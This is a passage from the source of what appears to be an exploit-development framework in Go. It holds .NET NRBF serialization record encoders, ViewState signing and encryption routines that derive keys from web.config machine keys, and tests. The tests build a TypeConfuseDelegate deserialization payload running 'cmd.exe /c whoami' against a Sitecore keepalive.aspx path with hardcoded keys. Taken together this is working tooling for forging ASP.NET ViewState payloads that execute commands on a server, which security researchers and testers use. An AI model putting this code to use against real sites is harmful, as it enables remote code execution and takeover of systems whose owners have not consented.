(arraySingleStringRecord ArraySingleStringRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) { output.PrintFrameworkError("ToXML for ArraySingleStringRecord not yet implemented") return MemberNode{}, false } func (classWithIDRecord ClassWithIDRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) { output.PrintFrameworkError("ToXML for ClassWithIDRecord not yet implemented") return MemberNode{}, false } func (binaryObjectString BinaryObjectString) ToXML(classInfo ClassInfo, memberTypeInfo MemberTypeInfo, _ BinaryLibraryRecord, currentIndex int, _ string) (MemberNode, bool) { memberNode := MemberNode{} memberNode.XMLName.Local = classInfo.MemberNames[currentIndex] memberNode.ID = fmt.Sprintf("ref-%d", binaryObjectString.ObjectID) memberNode.XsiType = "xsd:" + strings.ToLower(memberTypeInfo.BinaryTypes[currentIndex]) memberNode.Content = escapeTags(binaryObjectString.Value) return memberNode, true } func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) ToXML(classInfo ClassInfo, _ MemberTypeInfo, binaryLibraryRecord BinaryLibraryRecord, currentIndex int, ns string) (MemberNode, bool) { memberNode := MemberNode{} memberNode.XMLName.Local = classInfo.MemberNames[currentIndex] memberNode.XsiType = "a1:" + classWithMembersAndTypesRecord.ClassInfo.GetBaseClassName() libURL := fmt.Sprintf("http://schemas.microsoft.com/clr/nsassem/%s/%s", classInfo.GetLeadingClassName(), binaryLibraryRecord.Library) memberNode.addAttribute("xmlns:"+ns, libURL) memberNode.Content = "Binary" // NOT 100% sure this is always the case but it was for DataSet. Once we find out if/when/why this is the case we can implement that logic return memberNode, true } func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTypesRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) { output.PrintFrameworkError("ToXML for SystemClassWithMembersAndTypesRecord not yet implemented") return MemberNode{}, false } func (serializationHeaderRecord SerializationHeaderRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) { output.PrintFrameworkError("ToXML for SerializationHeaderRecord not yet implemented") return MemberNode{}, false } func (binaryLibraryRecord BinaryLibraryRecord) ToXML(_ ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, _ int, _ string) (MemberNode, bool) { output.PrintFrameworkError("ToXML for BinaryLibraryRecord not yet implemented") return MemberNode{}, false } func (memberReferenceRecord MemberReferenceRecord) ToXML(classInfo ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, currentIndex int, _ string) (MemberNode, bool) { memberNode := MemberNode{} memberNode.XMLName.Local = classInfo.MemberNames[currentIndex] memberNode.HREF = fmt.Sprintf("#ref-%d", memberReferenceRecord.IDRef) return memberNode, true } func (objectNullRecord ObjectNullRecord) ToXML(classInfo ClassInfo, _ MemberTypeInfo, _ BinaryLibraryRecord, currentIndex int, _ string) (MemberNode, bool) { memberNode := MemberNode{} memberNode.XMLName.Local = classInfo.MemberNames[currentIndex] memberNode.XsiType = "xsi:anyType" memberNode.XsiNull = "1" return memberNode, true } // ToRecordBin impls these exist to convert the struct into the binary stream that is expected by the serialized object format. func (arraySingleStringRecord ArraySingleStringRecord) ToRecordBin() (string, bool) { recordByteString := string(byte(arraySingleStringRecord.GetRecordType())) objectIDString := transform.PackLittleInt32(arraySingleStringRecord.ArrayInfo.ObjectID) memberCount := transform.PackLittleInt32(arraySingleStringRecord.ArrayInfo.MemberCount) memberValuesString := "" for _, member := range arraySingleStringRecord.Members { memberRecord, ok := member.(Record) if ok { recordBinString, ok := memberRecord.ToRecordBin() if !ok { return "", false } memberValuesString += recordBinString continue } memberString, ok := member.(string) if ok { memberValuesString += memberString continue } } return recordByteString + objectIDString + memberCount + memberValuesString, true } func (binaryArrayRecord BinaryArrayRecord) ToRecordBin() (string, bool) { recordByteString := string(byte(binaryArrayRecord.GetRecordType())) objectIDString := transform.PackLittleInt32(binaryArrayRecord.ObjectID) binTypeEnumString := string(byte(binaryArrayRecord.BinaryArrayTypeEnum)) rankString := transform.PackLittleInt32(binaryArrayRecord.Rank) var lengthsString string for _, length := range binaryArrayRecord.Lengths { lengthsString += transform.PackLittleInt32(length) } var lowerBoundsString string // only necessary for certain types if binaryArrayRecord.BinaryArrayTypeEnum > 2 { for _, bound := range binaryArrayRecord.LowerBounds { lowerBoundsString += transform.PackLittleInt32(bound) } } var addInfoString string for _, addInfo := range binaryArrayRecord.AdditionalTypeInfo { if addInfo == nil { output.PrintFrameworkError("Nil additional info provided") return "", false } typeInt, ok := addInfo.(int) if ok { addInfoString += string(byte(typeInt)) continue } stringInput, ok := addInfo.(string) if ok { addInfoString += lengthPrefixedString(stringInput) continue } // handling ClassTypeInfo used for 'Class' type classTypeInfo, ok := addInfo.(ClassTypeInfo) if ok { addInfoString += lengthPrefixedString(classTypeInfo.TypeName) addInfoString += transform.PackLittleInt32(classTypeInfo.LibraryID) continue } output.PrintfFrameworkError("Unsupported additional info type provided %q", addInfo) return "", false } return recordByteString + objectIDString + binTypeEnumString + rankString + lengthsString + lowerBoundsString + string(byte(binaryArrayRecord.TypeEnum)) + addInfoString, true } func (arraySingleObjectRecord ArraySingleObjectRecord) ToRecordBin() (string, bool) { recordByteString := string(byte(arraySingleObjectRecord.GetRecordType())) objectIDString := transform.PackLittleInt32(arraySingleObjectRecord.ArrayInfo.ObjectID) memberCount := transform.PackLittleInt32(arraySingleObjectRecord.ArrayInfo.MemberCount) // handle member values memberValuesString := "" for _, member := range arraySingleObjectRecord.Members { memberRecord, ok := member.(Record) if ok { recordBinString, ok := memberRecord.ToRecordBin() if !ok { return "", false } memberValuesString += recordBinString continue } } return recordByteString + objectIDString + memberCount + memberValuesString, true } func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToRecordBin() (string, bool) { recordByteString := string(byte(arraySinglePrimitiveRecord.GetRecordType())) objectIDString := transform.PackLittleInt32(arraySinglePrimitiveRecord.ArrayInfo.ObjectID) memberCount := transform.PackLittleInt32(arraySinglePrimitiveRecord.ArrayInfo.MemberCount) primitiveTypeString := string(byte(arraySinglePrimitiveRecord.PrimitiveTypeEnum)) return recordByteString + objectIDString + memberCount + primitiveTypeString + arraySinglePrimitiveRecord.Members, true } func (objectNullMultiple256Record ObjectNullMultiple256Record) ToRecordBin() (string, bool) { recordByteString := string(byte(objectNullMultiple256Record.GetRecordType())) nullCountString := string(byte((objectNullMultiple256Record.NullCount))) if objectNullMultiple256Record.NullCount > 255 || objectNullMultiple256Record.NullCount < 0 { output.PrintFrameworkError("Invalid value for objectNullMultiple256Record.NullCount, MUST be between 0-255 (inclusive)") return "", false } return recordByteString + nullCountString, true } func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) ToRecordBin() (string, bool) { recordByteString := string(byte(memberPrimitiveTypedRecord.GetRecordType())) typeEnumString := string([]byte{byte(memberPrimitiveTypedRecord.PrimitiveTypeEnum)}) valueString := memberPrimitiveTypedRecord.Value.PrimToString() return recordByteString + typeEnumString + valueString, true } func (memberReferenceRecord MemberReferenceRecord) ToRecordBin() (string, bool) { recordByteString := string(byte(memberReferenceRecord.GetRecordType())) idRefString := transform.PackLittleInt32(memberReferenceRecord.IDRef) return recordByteString + idRefString, true } func (objectNullRecord ObjectNullRecord) ToRecordBin() (string, bool) { return string(byte(objectNullRecord.GetRecordType())), true } // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/a7e578d3-400a-4249-9424-7529d10d1b3c func (serializationHeaderRecord SerializationHeaderRecord) ToRecordBin() (string, bool) { recordTypeEnumString := string(byte(serializationHeaderRecord.GetRecordType())) // 0 rootIDString := transform.PackLittleInt32(serializationHeaderRecord.RootID) headerIDString := transform.PackLittleInt32(serializationHeaderRecord.HeaderID) majorVersion := transform.PackLittleInt32(1) // MUST be 1 minorVersion := transform.PackLittleInt32(0) // MUST be 0 return recordTypeEnumString + rootIDString + headerIDString + majorVersion + minorVersion, true } func (binaryLibraryRecord BinaryLibraryRecord) ToRecordBin() (string, bool) { recordTypeEnumString := string(byte(binaryLibraryRecord.GetRecordType())) idLEBytes := transform.PackLittleInt32(binaryLibraryRecord.ID) libName := lengthPrefixedString(binaryLibraryRecord.Library) return recordTypeEnumString + idLEBytes + libName, true } func (classWithIDRecord ClassWithIDRecord) ToRecordBin() (string, bool) { recordTypeEnumString := string(byte(classWithIDRecord.GetRecordType())) objectIDString := transform.PackLittleInt32(classWithIDRecord.ObjectID) metadataIDString := transform.PackLittleInt32(classWithIDRecord.MetadataID) memberValuesString := "" for _, memberValue := range classWithIDRecord.MemberValues { // handle record types memberRecord, ok := memberValue.(Record) if ok { recordBin, ok := memberRecord.ToRecordBin() if !ok { output.PrintFrameworkError("Failed to convert member value into record") return "", false } memberValuesString += recordBin continue } memberString, ok := memberValue.(string) if ok { memberValuesString += memberString continue } memberInt, ok := memberValue.(int) // Keeping these commented for now if ok { memberValuesString += transform.PackLittleInt32(memberInt) continue } } return recordTypeEnumString + objectIDString + metadataIDString + memberValuesString, true } // https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/eb503ca5-e1f6-4271-a7ee-c4ca38d07996 func (binaryObjectString BinaryObjectString) ToRecordBin() (string, bool) { recordTypeEnumString := string(byte(binaryObjectString.GetRecordType())) objectIDString := transform.PackLittleInt32(binaryObjectString.ObjectID) prefixedValue := lengthPrefixedString(binaryObjectString.Value) return recordTypeEnumString + objectIDString + prefixedValue, true } func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTypesRecord) ToRecordBin() (string, bool) { memberValuesString := "" for _, memberValue := range systemClassWithMembersAndTypesRecord.MemberValues { switch v := memberValue.(type) { case Record: recordBin, ok := v.ToRecordBin() if !ok { output.PrintFrameworkError("Failed to convert member value into record") return "", false } memberValuesString += recordBin case int: memberValuesString += transform.PackLittleInt32(v) case Primitive: memberValuesString += v.PrimToString() case bool: switch v { case true: memberValuesString += "\x01" continue case false: memberValuesString += "\x00" continue } case string: memberValuesString += v } } recordTypeEnumString := string(byte(systemClassWithMembersAndTypesRecord.GetRecordType())) memberTypeInfoString, ok := systemClassWithMembersAndTypesRecord.MemberTypeInfo.ToBin() if !ok { return "", false } // objid, name, count, membernames//int8 type values+addInfo/the array of values return recordTypeEnumString + systemClassWithMembersAndTypesRecord.ClassInfo.ToBin() + memberTypeInfoString + memberValuesString, true } // ref: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/847b0b6a-86af-4203-8ed0-f84345f845b9 func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) ToRecordBin() (string, bool) { memberValuesString := "" for _, memberValue := range classWithMembersAndTypesRecord.MemberValues { switch v := memberValue.(type) { case Record: recordBin, ok := v.ToRecordBin() if !ok { output.PrintFrameworkError("Failed to convert member value into record") return "", false } memberValuesString += recordBin case int: memberValuesString += transform.PackLittleInt32(v) case Primitive: memberValuesString += v.PrimToString() case bool: switch v { case true: memberValuesString += "\x01" continue case false: memberValuesString += "\x00" continue } case string: memberValuesString += v } } recordTypeEnumString := string(byte(classWithMembersAndTypesRecord.GetRecordType())) // 5 libraryIDString := transform.PackLittleInt32(classWithMembersAndTypesRecord.LibraryID) memberTypeInfoString, ok := classWithMembersAndTypesRecord.MemberTypeInfo.ToBin() if !ok { return "", false } // id, name, count, membernames+addinfo the int8 values for types, the int32 ID, the array of values return recordTypeEnumString + classWithMembersAndTypesRecord.ClassInfo.ToBin() + memberTypeInfoString + libraryIDString + memberValuesString, true } ================================================ FILE: dotnet/viewstate.go ================================================ //nolint:makezero package dotnet // Dotnet Serialization functions related to viewstate import ( "crypto/aes" "crypto/cipher" "crypto/hmac" "crypto/rand" "crypto/sha1" "crypto/sha256" "encoding/base64" "encoding/hex" "os" "path" "strings" "github.com/vulncheck-oss/go-exploit/encryption" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/transform" ) func GenerateViewstateHMAC(data string, algo string, hexKey string) (string, bool) { var hmacHash []byte key, err := hex.DecodeString(hexKey) if err != nil { output.PrintfFrameworkError("Invalid key provided: %s", err) return "", false } switch algo { case "sha1": h := hmac.New(sha1.New, key) h.Write([]byte(data)) hmacHash = h.Sum(nil) case "sha256": h := hmac.New(sha256.New, key) h.Write([]byte(data)) hmacHash = h.Sum(nil) default: output.PrintfFrameworkError("Unsupported algorithm: %s", algo) return "", false } return hex.EncodeToString(hmacHash), true } // hex decode the generator and 'fix the endianness', a.k.a reverse the bytes since this is basically always going to be the same. func GeneratorToArray(input string) ([]byte, bool) { if len(input) != 8 { output.PrintFrameworkError("Invalid generator length, should be 8 characters (4 hex bytes)") return []byte{}, false } decodedBytes, err := hex.DecodeString(input) if err != nil { output.PrintError("Could not decode string") return []byte{}, false } for i, j := 0, len(decodedBytes)-1; i < j; i, j = i+1, j-1 { decodedBytes[i], decodedBytes[j] = decodedBytes[j], decodedBytes[i] } return decodedBytes, true } // Takes payloadData, a machineKey, and a generator (can be empty) and returns a base64 encoded, signed payload. // payloadData should be a dotnet serialized payload. func CreateViewstatePayload(payloadData string, machineKey string, generator string) (string, bool) { // turn the hardcoded generator into an expected form to sign it generatorArray, ok := GeneratorToArray(generator) if !ok { return "", false } payloadAndGenerator := payloadData + string(generatorArray) // get the HMAC signature using hardcoded key hmac, ok := GenerateViewstateHMAC(payloadAndGenerator, "sha256", machineKey) if !ok { return "", false } output.PrintfFrameworkDebug("HMAC=%s,Payload=%s", hmac, payloadData) // convert it into bytes hmacDecoded, err := hex.DecodeString(hmac) if err != nil { output.PrintfFrameworkError("Could not decode returned hmac from hex hmac=%s, err=%s", hmac, err) return "", false } // append the signature, encode it all, ship it payloadDataWithHmac := payloadData + string(hmacDecoded) b64Bytes := make([]byte, base64.StdEncoding.EncodedLen(len(payloadDataWithHmac))) base64.StdEncoding.Encode(b64Bytes, []byte(payloadDataWithHmac)) encodedPayload := string(b64Bytes) output.PrintFrameworkDebug(encodedPayload) return encodedPayload, true } // Formats the provided webpath to the required "specificPurpose" format. Used with SP800-108 to derive the needed keys. func getPurpose(webPath string) string { dirname := path.Dir(webPath) dirnameCaps := strings.ToUpper(dirname) path := strings.TrimPrefix(webPath, "/") path = strings.TrimSuffix(path, "/") path = strings.ReplaceAll(path, ".", "_") pathCaps := strings.ToUpper(strings.ReplaceAll(path, "/", "_")) return "*TemplateSourceDirectory: " + dirnameCaps + "%" + "Type: " + pathCaps } // Encrypts and signs the viewstate using the provided keys and algorithms. func EncryptViewState(plaintext []byte, encryptionKey []byte, validationKey []byte, validationAlg string, encryptionAlg string) ([]byte, bool) { var data []byte output.PrintfFrameworkDebug("Validation key: %02x | Encryption key: %02x", validationKey, encryptionKey) encryptionAlg = strings.ToLower(encryptionAlg) switch encryptionAlg { case "aes": padded, ok := encryption.PKCS7Pad(plaintext, aes.BlockSize) if !ok { return []byte{}, false } block, err := aes.NewCipher(encryptionKey) if err != nil { output.PrintfFrameworkError("Error creating cipher: %v", err) return []byte{}, false } // generating iv to start the buffer we'll return if os.Getenv("DEBUGMODE") == "1" { // for unit test purposes data = make([]byte, aes.BlockSize) // Fill the slice with 0x01 for i := range data { data[i] = 0x01 } } else { data = make([]byte, aes.BlockSize) if _, err := rand.Read(data); err != nil { return []byte{}, false } } ciphertext := make([]byte, len(padded)) cipher.NewCBCEncrypter(block, data).CryptBlocks(ciphertext, padded) data = append(data, ciphertext...) default: output.PrintfFrameworkError("Unsupported encryption algo provided: %s, currently supported: aes", encryptionAlg) return []byte{}, false } // sign it var mac []byte switch validationAlg { case "sha1": output.PrintFrameworkDebug("Using validation algo: sha1") h := hmac.New(sha1.New, validationKey) h.Write(data) mac = h.Sum(nil) default: // sha256 output.PrintFrameworkDebug("Using validation algo: sha256") h := hmac.New(sha256.New, validationKey) h.Write(data) mac = h.Sum(nil) } return append(data, mac...), true } /* Protect implements the data protection APIs in dotnet, which can be pulled directly from web.config content, in order to encrypt content that is used in deserialization functions in modern applications. This is the function you will want to use to produce an encrypt and signed .NET serialization payload. By default the output is not URL encoded. */ func Protect(decryptionKeyHex string, validationKeyHex string, validationAlg string, encryptionAlg string, webPath string, payload []byte) (string, bool) { derivedDecryptionKey, derivedValidationKey, ok := DeriveKeys(decryptionKeyHex, validationKeyHex, webPath) if !ok { output.PrintfFrameworkError("Failed to derive") return "", false } encrypted, ok := EncryptViewState(payload, derivedDecryptionKey, derivedValidationKey, validationAlg, encryptionAlg) if !ok { output.PrintfFrameworkError("Failed to encrypt") return "", false } return transform.EncodeBase64(string(encrypted)), true } // Derives the "actual" encryption and signing keys based on the provided web path. func DeriveKeys(decryptionKeyHex string, validationKeyHex string, webPath string) ([]byte, []byte, bool) { decryptionKey, err := hex.DecodeString(decryptionKeyHex) if err != nil { output.PrintfFrameworkError("Failed to decode provided decryption key: %s, err: %v", decryptionKeyHex, err) return []byte{}, []byte{}, false } validationKey, err := hex.DecodeString(validationKeyHex) if err != nil { output.PrintfFrameworkError("Failed to decode provided validation key: %s", validationKeyHex) return []byte{}, []byte{}, false } label := "WebForms.HiddenFieldPageStatePersister.ClientState" // this is the static "primary purpose" for asp.net stuff. context := getPurpose(webPath) derivedDecryptionKey := encryption.SP800108HMACSHA512(decryptionKey, []byte(label), []byte(context), len(decryptionKey)) derivedValidationKey := encryption.SP800108HMACSHA512(validationKey, []byte(label), []byte(context), len(validationKey)) return derivedDecryptionKey, derivedValidationKey, true } ================================================ FILE: dotnet/viewstate_test.go ================================================ package dotnet import ( "encoding/hex" "fmt" "os" "testing" "github.com/vulncheck-oss/go-exploit/encryption" "github.com/vulncheck-oss/go-exploit/output" ) const ( DerivedValidationKey = "ffcfaa1d6a36fe58d5bad121dec3bb0512153ea8c7c9a8f3887466d772671c68ff9f7fcbbfb792549d60b3a4305073aeb7b6abe86289e01b5254fb1a90e198b1" DerivedDecryptionKey = "245428c1b66d73cd0c1da7005023f58ee8b676567baf600f" ) //nolint:goconst func ExampleProtect() { validationKey := "BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6" encryptionKey := "0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" webPath := "/sitecore/service/keepalive.aspx" payload, ok := CreateTypeConfuseDelegate("cmd.exe", "/c whoami>C:\\windows\\temp\\pr00fd.txt", LOSFormatter) if !ok { panic("PAYLOAD GEN FAILED!") } encryptedPayload, ok := Protect(encryptionKey, validationKey, "sha1", "aes", webPath, []byte(payload)) if !ok { panic("ENCRYPTION FAILED!") } output.PrintfDebug("Protected payload data: %s", encryptedPayload) } func TestGetPurpose(t *testing.T) { got := getPurpose("/sitecore/service/keepalive.aspx") want := "*TemplateSourceDirectory: /SITECORE/SERVICE" + "%Type: SITECORE_SERVICE_KEEPALIVE_ASPX" if got != want { t.Fatalf("MATCH 1 FAILED: got=%s wanted=%s", got, want) } got = getPurpose("/sitecore/se.rvice/keep.alive.aspx") want = "*TemplateSourceDirectory: /SITECORE/SE.RVICE" + "%Type: SITECORE_SE_RVICE_KEEP_ALIVE_ASPX" if got != want { t.Fatalf("MATCH 2 FAILED: got=%s wanted=%s", got, want) } t.Logf("%q", got) } func TestSP800108HMACSHA512(t *testing.T) { label := "WebForms.HiddenFieldPageStatePersister.ClientState" // mainPurpose context := "*TemplateSourceDirectory: /SITECORE/SERVICE" + "%Type: SITECORE_SERVICE_KEEPALIVE_ASPX" // specificPurpose validationKey, _ := hex.DecodeString("BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6") got := encryption.SP800108HMACSHA512(validationKey, []byte(label), []byte(context), len(validationKey)) want := DerivedValidationKey if fmt.Sprintf("%02x", got) != want { t.Fatalf("MATCH FAILED: got=%02x wanted=%02x", got, want) } t.Logf("%q", got) } func TestEncryptViewstate(t *testing.T) { os.Setenv("DEBUGMODE", "1") validationKey := DerivedValidationKey encryptionKey := DerivedDecryptionKey encryptionKeyB, _ := hex.DecodeString(encryptionKey) validationKeyB, _ := hex.DecodeString(validationKey) payload := `Cyberspace. A consensual hallucination experienced daily by billions of legitimate operators, in every nation, by children being taught mathematical concepts... A graphic representation of data abstracted from banks of every computer in the human system. Unthinkable complexity. Lines of light ranged in the nonspace of the mind, clusters and constellations of data. Like city lights, receding...` got, ok := EncryptViewState([]byte(payload), encryptionKeyB, validationKeyB, "sha1", "aes") if !ok { t.Fatalf("Failed to encrypt") } want := "010101010101010101010101010101011bd0b69b5d2f5faf94546fd8d8cb4ea8b1995077360a024a7133fa6996ba23d988359b25befd4c69faa2be9b21289ec7968dc4e2167fa2db13443c4b86371fc141bab3ff098e731cd8750e935c8426a311ae590582a52fe58869e8b80957793072d93fa1cb8ed02b9c3d553db36a9b29e07f9478187386e8c96f10e1db0650aaa8d645ac0314bbf90abfa33dfe133e59ac0798783a87d5355a2f76cf0ee89b59a072b6747fe164144e6c015a70e4496529ce4ab275927a0ea257709c9ab5b812b96c17907f2a0e82f32b3f4568f7395cdba5fb38ea1c34559cab53b76e1cc1c14f5ab579c3582547ef3545c70101f3f8b3a74c25c90ee52a648607009a2abfeee8ad9871ae07de736aa854f07fdcdf48d567f928b90eb728ef8be8a2aecc8e48b287bd421fa1a78bdcaa9d1fc618e0e35c61b43360a94c477074cd59146483cb4e58f97a64ad77dba15432d929658f170b116acebc07d7e47d2eb87c25eefbee37a9015376b6d6f7ade88ac5879dcbf80bc645877f5fc387ef9134dc3b4c3bfd41e16eb2f39146614e6a3c6596ecd790d8d128adc068efac81d3e9e85aa057ccc2b5619d" if fmt.Sprintf("%02x", got) != want { t.Fatalf("MATCH FAILED: got= %02x wanted= %02x", got, want) } t.Logf("%q", got) } func TestDeriveKeys(t *testing.T) { validationKey := "BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6" encryptionKey := "0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" webPath := "/sitecore/service/keepalive.aspx" got1, got2, ok := DeriveKeys(encryptionKey, validationKey, webPath) if !ok { t.Fatalf("Failed to derive") } want1 := DerivedDecryptionKey if fmt.Sprintf("%02x", got1) != want1 { t.Fatalf("MATCH FAILED: got= %02x wanted= %02x", got1, want1) } want2 := DerivedValidationKey if fmt.Sprintf("%02x", got2) != want2 { t.Fatalf("MATCH FAILED: got= %02x wanted= %02x", got2, want2) } t.Logf("%q %q", got1, got2) } func TestProtect(t *testing.T) { os.Setenv("DEBUGMODE", "1") // causes a static IV to be set so the output is predictable validationKey := "BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6" encryptionKey := "0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" webPath := "/sitecore/service/keepalive.aspx" payload, ok := CreateTypeConfuseDelegate("cmd.exe", "/c whoami>C:\\windows\\temp\\pr00fd.txt", LOSFormatter) if !ok { t.Fatalf("PAYLOAD GEN FAILED!") } got, ok := Protect(encryptionKey, validationKey, "sha1", "aes", webPath, []byte(payload)) if !ok { t.Fatalf("ENCRYPTION FAILED!") } want := "415145424151454241514542415145424151454241636634456e5a39734a626a4453714e354d43726330795661775a345a755035566473577a4d4548526b716a697a4573506d7739482f2b726b473068677a556b4d4b76424e663555674572497458477442646463784f4464326d376355437450446d79425271475a6b2f395633554a585a66546a452f3133614a6f6c4d494c6566554c42464c7874756953787052676f6c524c49727a64502f54343231454d3142622b745a564379767441386b35727a534a377561346561674545414a732b6970307956753739454f62306a6d536858386d6a7a3250304546454553586f49592f5a2f62654a7a485732576a675668343134397a44712b42394e524946624967304c6b76304b356479766131516c534561643566644b45734856787538694964483075346c652b35533938354c757664416e4d477a4f4d56777931703752462b514e7852644a785745725a7a4e51437966615134435743342b5342452b766a526d544e6b70576371785046545250616b536e686a52726f6d2f49573264654f45687065682b7444542f4d4333413042443038597431597a6f7173397264433138785967783474654263344e4f342b4e79415a6b51384849595150744c686265377831385a317a4c397a3263497275636f654165666f4c764b35327a477a756c545447447266364f5033357377325076554b4c3261776a5648706a78314e776c6c5a696b38326346596e352f7a44757641632f6754534669432b5937525256526a5a2b6e366c50556e6934346348576865464a75446b486b447636774b30594e624f584f706f744349495a3872674d74555a4471486d457071386c364933343139476d6b3153754a73653132322b79716b577847775775674c45416673637454644f5371684542316b30706970534872686b4956384e4953554e5552656543674f6442682f2f374f46326453386649436f2b6a627572496944796c49413055715144784e71474e65796b6139346e523336564453434d6c376b472f4e48397753634b5676786b747a7a67714f78475a35734e62557035377755667a595a662f494f56576b65437846374e6e4c49644238765a352f717a424a3442726373495244626a6a4437453945634b33332f414f357174716852525a666b79306143327a472f4b3450787a6a7a4f4d5547586b7766755764304650582b4c63307749386b4466556a7642384b44466668624e30636e4d67533971716730442b5a752b6b3044767970305a7467697053397454456b3136562b7a6f6663324244784b634f3135747259596d41414230336a55497233727045374f336c5a4454486162384262436a524145424e4e3368514432314678772f6767582f564d38727653435551567238656349776b6856476e77386177487654356b34504d6a56646a38747757524169325a73526b78512b455849773570546266797152435759356236586b7a4b766c4c435a6b44586859775469415543366f6242677a46572f34727976487543613444524b4a5833494d7a7757462f64444c684f376948672f367a434c7074502f51366d454a5a633575684b304f755a514644344368784c656a353475624e72675a324d732f7a344736504f7a764b35516b4e6934744835616674636d4734766e4f654939424e6e4a69714c7a687064685a333757634f65644d6b695162542f304a624f5049692b416c706f317a6141776863746a7a76335a2f57774736646d467168465a544f4d446e335845564b7a4c644d656f4f45383868626b32797656624a7757393850542f64483168443630352f6872345536737875713764556147546a4e5855726238624d4a504373354a6c6e566e646c326a63432b33326b574a30517a57724a6239724f73462b35534e785668787131366344342f727a795752526a49327249677446427779704c5269434c2f547452515569476a59305967452b73564736662f726a59397a777065656b74472f2b6c545577744e677a695636554e676566785238397869546e675a5552395435706546626c4254394b6f67382f5673377a737a68683443462b774e77352f6964482b55787449645168324c4f6f4a2b59774d4732543751437169616947576e38723574426131627778666d6d4c4a37414442686e62585a4a43736d43476f686f31626b54595777584277624432726f796b4b7148304c4246412f69324249314c4f5654714e78442f334a7244657a4b33656b356d364f30794d526466365a486a6372624d644d635832317138385a366741784a43725076374e79363942656836724a78576a4f477462447a6743397064416e746e4f2f424177442b485970624c6341686338724f426a61326a75696e7357573555783574593973316e7850426541394c4b726e4c7771384b65625256617032392f423571724e776778483649643264456a493441335a7a7a3556737137667a2f4937414d726b69456748506771386e4e3271577971786f6b394368504c5a6f6838572b636b4e6c7a6f674e6e6d546174745435714f654573464a2b356f314742334e78763772595a7a596c45542b4e726355464a797a6f7a4848714b78663743786f6c61587a4b454747634c39567a374d54677a4b43456862372b695857454d333553445335753862463158555a74535251436a766c762f5653755468526f31496443774a35476d6f67372f31686f68744479763762466c6355614a6e364d546b72375754712b54676b484d764966422f714c4932624b694e6a454a39345a4a596e75514349567a37794669726e574c376731582b7a523641466b5450626f4f4d485976494a774359767a79776a30533478425271664a686e6f427550786d4f7275684239584a504e374167456744757767396f5376715a7658306b42784d785676374c542f2b375659644f6c4a6770783342625670544d7476505177655153426f51687242446e6433454d7264364e53632f31694f394a7a35787063666e667a4f6a3247705565367a7754594d5a6b6b72707a54576c55796d7066696543437045626d3333532f456c792b4654686a2f6c415a6732566731796b42537773777539415a376c6330304a527044306e4a645664565843596a4536704e727a305a6d49396e36637a475054686f6b6955715949754c48657464536a375172626d434931506f314b433744306e7478636b704f3359307a385552796f4648516357392f3771716650642f4a466e66696a38412f722b5135516e345a78364d677073614a4c5779756d7559486d5853344d74343656714c31714e66314442443065694c4d427a50536f765869346956783636374938766d4d475066727a346d424c3743703478304b4e33697a334741393079344458676c2b61634c304c6f4c4f554863324b38586734664b43764e42703968653334576348375250732b65774a5345595270377344705455436930324c772f4b486b453073474b2b4e5349774c6b6578656d6862594e7951543054747a6246736272686f764b70527a7a3742624c794350494b5450476c7a7667414a7737584c6b77323658386f692b7476765a577579492b36706f72554836433344566c486f564d794d3269423957526b342b78555978656e7845627756784b526b4a445563776248727771584e6174355339553363647554486164434c766d49704b444d7248314c4f787a3847756c506853777053346e305245634e437a344a63654f334b5a6a452f3052634a30794e35526d4c65777454547871567a316b707159317a5939534b386a345a3748396c697675624d386e646c6c4b526276636573433778714b4355302f417543492f66684a304146386e36452b5869587230544370374a505737774f67476c6a5750705157765433384b50747a4d7367576c5956646a3168393175704a516337354548367473596b6c452f755a42784c4f306d4a3131384f344a792b6b3930533849626c486d586d626270464b2f2f626a587845304a6b2b66787475384d75456b66685a54774b7633674b4f674944466335596b763172574b425944756a6237705576642f6f6f637735736e517437396266734469476751317531337373744b6f4d5668335a4767353974707232634c76745157756846514a6469413237626730556958566144322f30786c533834536c32334b31426f7a507550366c4464666b7467456250464b3942564632647a59615a63564b48546c45564c426343684a3669366366726e437563315a4770756f73393646342f4f4a324437426337684335306a4763634f6e75413d" if fmt.Sprintf("%02x", got) != want { t.Fatalf("MATCH FAILED: got(string) %s got= %02x wanted= %02x", got, got, want) } t.Logf("%q", got) } ================================================ FILE: encryption/aes.go ================================================ // Package encryption provides functions for dealing with cryptography and cryptographic padding. package encryption import ( "bytes" "github.com/vulncheck-oss/go-exploit/output" ) // Padding defines a pad/unpad strategy for block ciphers. type Padding struct { Pad func(data []byte, blockSize int) ([]byte, bool) Unpad func(data []byte, blockSize int) ([]byte, bool) } // PKCS7Padding is the standard 